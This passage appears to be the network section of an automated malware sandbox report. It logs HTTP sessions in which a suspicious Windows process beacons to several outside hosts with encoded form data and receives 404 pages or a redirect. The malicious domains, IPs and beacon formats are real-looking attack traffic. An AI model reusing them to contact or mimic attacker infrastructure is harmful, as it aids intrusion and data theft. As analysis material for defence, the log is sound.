k+sqMCsCNK2Yc32bPLFi9Be2t+sa4m7d0UsyhFdU5wLgMNkrV8Km1RjT8MXoXGC9ukg6YHz6DABSBtbF56HoL0sbALgG2+9aoab5lQ3wsOMtGRgMl1u1dqUZiNbtYqZV0OFQrG8Q7YfCa6HNAUU/avfIhvXjOxCDnmH97i5vODQ8PrMi+jHMbipHvbIrA1l0kDvo4+nDaFUZAQVh3TZkcftlcyAH+VqyH6OPu8pojhtRWTRv/uUTMmEdI48cFjat6dRB5SV+/3WLvrGvc6JWbSdAVvbx3Qlk7+k7vTeR8BIUjFMJ09QLHSuFijiBFJgLA2JBkw [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	49733	3.33.130.190	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:25:21.993928909 CET	491	OUT	GET /1z60/?pP=yD9eLuYJ5X5bnWq0wX3hmMocNx79K6/nczsdQvd8EYCoec4AYa4RadmXzB7lKk4qdyMCMpN/ECD26HxDmJI715RAp3oQVaTVCLsh5mX2NgfOqD/K0A==&UJO=A6MH4FUp HTTP/1.1 Host: www.arcare.partners Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1
Nov 6, 2024 15:25:22.643054962 CET	387	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 06 Nov 2024 14:25:22 GMT Content-Type: text/html Content-Length: 247 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 70 50 3d 79 44 39 65 4c 75 59 4a 35 58 35 62 6e 57 71 30 77 58 33 68 6d 4d 6f 63 4e 78 37 39 4b 36 2f 6e 63 7a 73 64 51 76 64 38 45 59 43 6f 65 63 34 41 59 61 34 52 61 64 6d 58 7a 42 37 6c 4b 6b 34 71 64 79 4d 43 4d 70 4e 2f 45 43 44 32 36 48 78 44 6d 4a 49 37 31 35 52 41 70 33 6f 51 56 61 54 56 43 4c 73 68 35 6d 58 32 4e 67 66 4f 71 44 2f 4b 30 41 3d 3d 26 55 4a 4f 3d 41 36 4d 48 34 46 55 70 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?pP=yD9eLuYJ5X5bnWq0wX3hmMocNx79K6/nczsdQvd8EYCoec4AYa4RadmXzB7lKk4qdyMCMpN/ECD26HxDmJI715RAp3oQVaTVCLsh5mX2NgfOqD/K0A==&UJO=A6MH4FUp"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	49734	221.128.225.57	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:25:29.830733061 CET	747	OUT	POST /ojgg/ HTTP/1.1 Host: www.cqghwamc.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 191 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.cqghwamc.top Referer: http://www.cqghwamc.top/ojgg/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 4e 78 44 48 62 77 50 34 61 76 53 53 47 4f 7a 33 4d 53 6a 6f 75 35 2b 6d 6b 74 4f 4f 38 79 35 61 74 4d 59 2b 6a 63 61 69 6d 46 31 42 2b 4d 4e 70 43 6a 37 50 75 35 45 38 46 6b 47 51 50 2f 31 74 46 76 4b 36 7a 6e 56 79 4f 4f 5a 35 6a 4e 6e 2b 51 71 45 39 4c 58 46 4e 55 4c 72 2b 43 39 79 51 47 6c 4c 6f 6b 33 47 76 47 43 42 4e 7a 4b 73 43 6a 66 63 70 58 70 76 50 52 42 56 6c 52 57 41 70 4c 72 50 33 65 61 4a 6e 49 4a 74 4f 34 43 4d 76 59 6d 72 43 6d 52 33 69 62 42 37 52 69 47 70 53 57 41 70 75 45 2f 6c 33 64 2b 71 54 75 76 68 45 78 53 76 4c 70 58 61 54 38 35 2f 50 Data Ascii: pP=NxDHbwP4avSSGOz3MSjou5+mktOO8y5atMY+jcaimF1B+MNpCj7Pu5E8FkGQP/1tFvK6znVyOOZ5jNn+QqE9LXFNULr+C9yQGlLok3GvGCBNzKsCjfcpXpvPRBVlRWApLrP3eaJnIJtO4CMvYmrCmR3ibB7RiGpSWApuE/l3d+qTuvhExSvLpXaT85/P
Nov 6, 2024 15:25:30.802386045 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 Set-Cookie: _d_id=3b8edfd9c8ce9958164d7d39782e35; Path=/; HttpOnly; SameSite=Lax Date: Wed, 06 Nov 2024 14:25:28 GMT Connection: close Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-containe
Nov 6, 2024 15:25:30.802423954 CET	165	IN	Data Raw: 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be Data Ascii: r"><fieldset> <h2>404 - </h2> <h3></h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	49735	221.128.225.57	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:25:32.374515057 CET	771	OUT	POST /ojgg/ HTTP/1.1 Host: www.cqghwamc.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 215 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.cqghwamc.top Referer: http://www.cqghwamc.top/ojgg/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 4e 78 44 48 62 77 50 34 61 76 53 53 48 76 44 33 41 54 6a 6f 2f 4a 2b 35 68 74 4f 4f 33 53 35 65 74 4e 6b 2b 6a 64 76 6e 6e 32 42 42 2b 70 78 70 44 68 54 50 6e 70 45 38 4e 45 47 56 42 66 31 6d 46 76 58 50 7a 6c 52 79 4f 4f 4e 35 6a 4d 58 2b 52 5a 73 36 4e 48 46 4c 66 72 72 38 64 4e 79 51 47 6c 4c 6f 6b 33 69 56 47 43 5a 4e 7a 36 63 43 73 64 30 75 61 4a 76 4f 57 42 56 6c 62 32 41 74 4c 72 50 46 65 62 6c 4e 49 4b 56 4f 34 44 63 76 59 7a 48 44 2f 42 33 65 52 68 36 51 6a 32 38 66 54 41 52 47 5a 4f 42 67 49 66 57 42 74 4f 42 61 67 67 6d 51 38 41 61 30 37 65 32 6e 6f 51 48 46 44 55 2f 2f 4d 49 6b 32 32 4a 77 31 4c 4c 4f 65 48 41 3d 3d Data Ascii: pP=NxDHbwP4avSSHvD3ATjo/J+5htOO3S5etNk+jdvnn2BB+pxpDhTPnpE8NEGVBf1mFvXPzlRyOON5jMX+RZs6NHFLfrr8dNyQGlLok3iVGCZNz6cCsd0uaJvOWBVlb2AtLrPFeblNIKVO4DcvYzHD/B3eRh6Qj28fTARGZOBgIfWBtOBaggmQ8Aa07e2noQHFDU//MIk22Jw1LLOeHA==
Nov 6, 2024 15:25:33.405502081 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 Set-Cookie: _d_id=3b91dfd9c8ce9958164d7d39782e35; Path=/; HttpOnly; SameSite=Lax Date: Wed, 06 Nov 2024 14:25:30 GMT Connection: close Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-containe
Nov 6, 2024 15:25:33.405550003 CET	165	IN	Data Raw: 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be Data Ascii: r"><fieldset> <h2>404 - </h2> <h3></h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	49736	221.128.225.57	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:25:35.187428951 CET	1784	OUT	POST /ojgg/ HTTP/1.1 Host: www.cqghwamc.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 1227 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.cqghwamc.top Referer: http://www.cqghwamc.top/ojgg/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 4e 78 44 48 62 77 50 34 61 76 53 53 48 76 44 33 41 54 6a 6f 2f 4a 2b 35 68 74 4f 4f 33 53 35 65 74 4e 6b 2b 6a 64 76 6e 6e 32 5a 42 2f 63 39 70 44 41 54 50 39 70 45 38 48 6b 47 55 42 66 31 42 46 76 66 4c 7a 6c 4e 45 4f 4e 31 35 69 71 4c 2b 57 6f 73 36 45 48 46 4c 51 4c 72 35 43 39 7a 61 47 6c 62 6b 6b 33 53 56 47 43 5a 4e 7a 35 45 43 72 50 63 75 63 4a 76 50 52 42 56 66 52 57 42 34 4c 72 58 56 65 62 52 33 4a 36 31 4f 34 6a 73 76 61 42 2f 44 33 42 33 6d 53 68 37 44 6a 32 68 66 54 42 38 71 5a 4f 46 4f 49 63 47 42 74 4b 30 35 39 30 53 62 69 68 61 46 7a 4d 53 6b 6c 30 44 54 4c 47 44 33 53 71 38 4e 6e 37 4e 69 49 72 2f 72 62 6d 48 32 38 38 62 30 31 51 65 44 66 54 44 36 34 32 45 65 46 42 4b 59 32 61 43 4b 4c 6b 75 70 42 4e 77 36 79 77 69 6e 37 52 69 4b 68 58 48 36 59 68 4d 6c 59 7a 62 55 70 6c 57 70 37 47 53 42 35 30 38 6e 53 7a 6a 75 31 6c 77 75 41 5a 77 66 56 79 6b 71 49 4d 4f 61 7a 45 75 39 79 30 4b 61 5a 5a 39 6d 32 30 44 79 6e 4e 57 4a 49 31 71 51 2b 70 2b 49 53 35 4e 6e 35 38 48 4d 56 70 6e [TRUNCATED] Data Ascii: pP=NxDHbwP4avSSHvD3ATjo/J+5htOO3S5etNk+jdvnn2ZB/c9pDATP9pE8HkGUBf1BFvfLzlNEON15iqL+Wos6EHFLQLr5C9zaGlbkk3SVGCZNz5ECrPcucJvPRBVfRWB4LrXVebR3J61O4jsvaB/D3B3mSh7Dj2hfTB8qZOFOIcGBtK0590SbihaFzMSkl0DTLGD3Sq8Nn7NiIr/rbmH288b01QeDfTD642EeFBKY2aCKLkupBNw6ywin7RiKhXH6YhMlYzbUplWp7GSB508nSzju1lwuAZwfVykqIMOazEu9y0KaZZ9m20DynNWJI1qQ+p+IS5Nn58HMVpngbV4TgnplQzBy/RUQGkqd6MJvfl4fN+O/6bCnfbty6OG0eiAhoUdEEPxBv1I3U+aYLUHVH3ZPmXfszDiouq3tWXGtE2NSfDaMQYGRj++KasrnhaTcp2BrvPTId7NDdmyIBAQU9OQtngLDnHWwXaai4KfZktAQPAO2LWIDdfJca9NDekls/UPDAYTRR4iHf3BqCBuvo+KaPbWsL9cI1W9TbMl0ChZGgxqk852Z2kzNcUrWi+kIJ98f5vFXUvYjkJa1WbQLN47w49cHlJl1hhzunT14po8Y5CMQpga2PrqnKGfNiNIlN0EZ9hzM6RegAR2cD36utM7FX50YWO6ofO9MtnEvE/HGOAbil54kxHBu9I+j79Y0FdMAX92nru97JhL9Eb1I/w3B8xp0Is9UJ+Z1QgTahNVqvec/25B5P7AUXNl9CQguCmpDBOLP2v3dNTPFfG8L+jJ3EAJKQyxyLrkAgLcbDvGo6eJQ6NsxsqpQ7df65lUYeNBdb+kSqYKEtA4pOyqIeoEGlkAkRGDyqugj3DMDXMPyTGmcd2dXtp/gEyBSCxAkR23a5rVRlI0oe2cY1WdKdO6A+WOPf/m2RArkH3+D1TZr5KgkxyqGzXqm0+f9RMj79qw2QVl5Q4hIgDkDZ7ghhC51Ti8dj3BZd4tUeZDDNhrQbG5p4 [TRUNCATED]
Nov 6, 2024 15:25:36.138267994 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 Set-Cookie: _d_id=3b93dfd9c8ce9958164d7d39782e35; Path=/; HttpOnly; SameSite=Lax Date: Wed, 06 Nov 2024 14:25:33 GMT Connection: close Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-containe
Nov 6, 2024 15:25:36.138293028 CET	165	IN	Data Raw: 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be Data Ascii: r"><fieldset> <h2>404 - </h2> <h3></h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	49737	221.128.225.57	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:25:37.724565029 CET	488	OUT	GET /ojgg/?pP=AzrnYGHzHoWCCbHMKSbZuZvbrIKz02xp6cN/uYeV+EtZw+F+PCfy+ZYYflPSP71mSPfA1WV4Xdxh2c/yfO8qM09HXb/RB/PEMyS6xnqVLXgi6bgw1g==&UJO=A6MH4FUp HTTP/1.1 Host: www.cqghwamc.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1
Nov 6, 2024 15:25:38.725339890 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 Set-Cookie: _d_id=3b92dfd9c8ce998996097d39782e35; Path=/; HttpOnly; SameSite=Lax Date: Wed, 06 Nov 2024 14:25:35 GMT Connection: close Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-containe
Nov 6, 2024 15:25:38.725709915 CET	165	IN	Data Raw: 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be Data Ascii: r"><fieldset> <h2>404 - </h2> <h3></h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	49738	203.161.41.204	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:25:44.122391939 CET	744	OUT	POST /pcp0/ HTTP/1.1 Host: www.setsea.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 191 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.setsea.info Referer: http://www.setsea.info/pcp0/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 67 54 66 6a 52 45 37 4e 47 55 66 55 65 51 31 31 45 4f 7a 38 58 48 64 59 78 49 6c 57 61 7a 4e 56 6e 6b 43 42 68 67 53 6c 66 42 56 6c 50 79 49 6f 39 54 41 35 47 2b 43 30 67 6f 4b 43 36 63 42 77 64 6c 63 71 71 4e 31 71 6b 65 33 75 69 61 69 6d 6e 71 64 6d 6b 65 48 44 48 34 39 36 47 65 71 65 4f 56 70 79 6a 66 2b 41 4a 42 78 4f 38 49 46 71 35 68 72 54 61 31 6c 54 49 4d 2f 36 55 39 34 56 46 36 77 46 42 2b 4d 67 53 43 66 4a 6b 49 6b 5a 75 70 4d 44 66 34 42 74 72 39 6b 6a 36 46 74 35 49 6f 46 52 59 55 39 46 2f 34 32 53 79 59 71 55 74 63 30 39 48 4c 36 70 50 6b 32 4d Data Ascii: pP=gTfjRE7NGUfUeQ11EOz8XHdYxIlWazNVnkCBhgSlfBVlPyIo9TA5G+C0goKC6cBwdlcqqN1qke3uiaimnqdmkeHDH496GeqeOVpyjf+AJBxO8IFq5hrTa1lTIM/6U94VF6wFB+MgSCfJkIkZupMDf4Btr9kj6Ft5IoFRYU9F/42SyYqUtc09HL6pPk2M
